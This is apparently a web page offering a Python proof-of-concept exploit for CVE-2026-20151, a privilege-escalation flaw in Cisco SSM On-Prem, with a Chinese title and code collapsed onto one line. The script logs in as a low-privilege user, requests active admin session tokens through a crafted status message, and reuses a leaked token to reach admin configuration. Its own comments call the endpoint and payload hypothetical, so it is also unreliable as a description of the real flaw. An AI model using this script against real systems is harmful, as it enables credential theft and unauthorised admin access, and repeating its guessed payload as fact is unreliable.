CVE-2026-20151 Cisco SSM On-Prem权限提升漏洞

import requests import json # Target configuration (Replace with actual target details) TARGET_URL = "https://<target-ssm-host>" LOGIN_USER = "low_priv_user" LOGIN_PASS = "password" def exploit_cve_2026_20151(): session = requests.Session() session.verify = False # Ignore SSL verification for testing print(f"[*] Attempting to login as {LOGIN_USER}...") # Step 1: Authenticate as a low-privileged user login_data = { "username": LOGIN_USER, "password": LOGIN_PASS } try: login_resp = session.post(f"{TARGET_URL}/api/login", data=login_data) if login_resp.status_code != 200: print("[-] Login failed.") return print("[+] Login successful.") except Exception as e: print(f"[-] Error during login: {e}") return # Step 2: Send crafted message to trigger sensitive info leak # Based on the vulnerability description, we send a crafted message to retrieve session creds print("[*] Sending crafted message to retrieve session credentials...") # Hypothetical payload structure based on "improper transmission of sensitive user information" crafted_payload = { "action": "get_session_status", "verbose": True, "target_id": "active_admin_sessions" } try: # Hypothetical endpoint that handles status messages exploit_resp = session.post(f"{TARGET_URL}/api/v1/status/message", json=crafted_payload) if exploit_resp.status_code == 200: response_data = exploit_resp.json() print("[+] Received response from server.") # Step 3: Parse the response for leaked admin credentials # The vulnerability states that session credentials are retrievable from status messages if "leaked_session_token" in response_data: admin_token = response_data["leaked_session_token"] print(f"[!] Successfully leaked Admin Token: {admin_token}") # Step 4: Verify privilege escalation print("[*] Attempting to access admin resources with leaked token...") session.cookies.set("session_id", admin_token) admin_check = session.get(f"{TARGET_URL}/api/admin/config") if admin_check.status_code == 200: print("[!] Privilege Escalation Successful! Admin access confirmed.") else: print("[-] Token did not grant admin access.") else: print("[-] Response did not contain expected leaked credentials. Vulnerability might not be triggered or patched.") print(f"Debug Response: {json.dumps(response_data, indent=2)}") else: print(f"[-] Exploit request failed with status code: {exploit_resp.status_code}") except Exception as e: print(f"[-] Error during exploitation: {e}") if __name__ == "__main__": exploit_cve_2026_20151()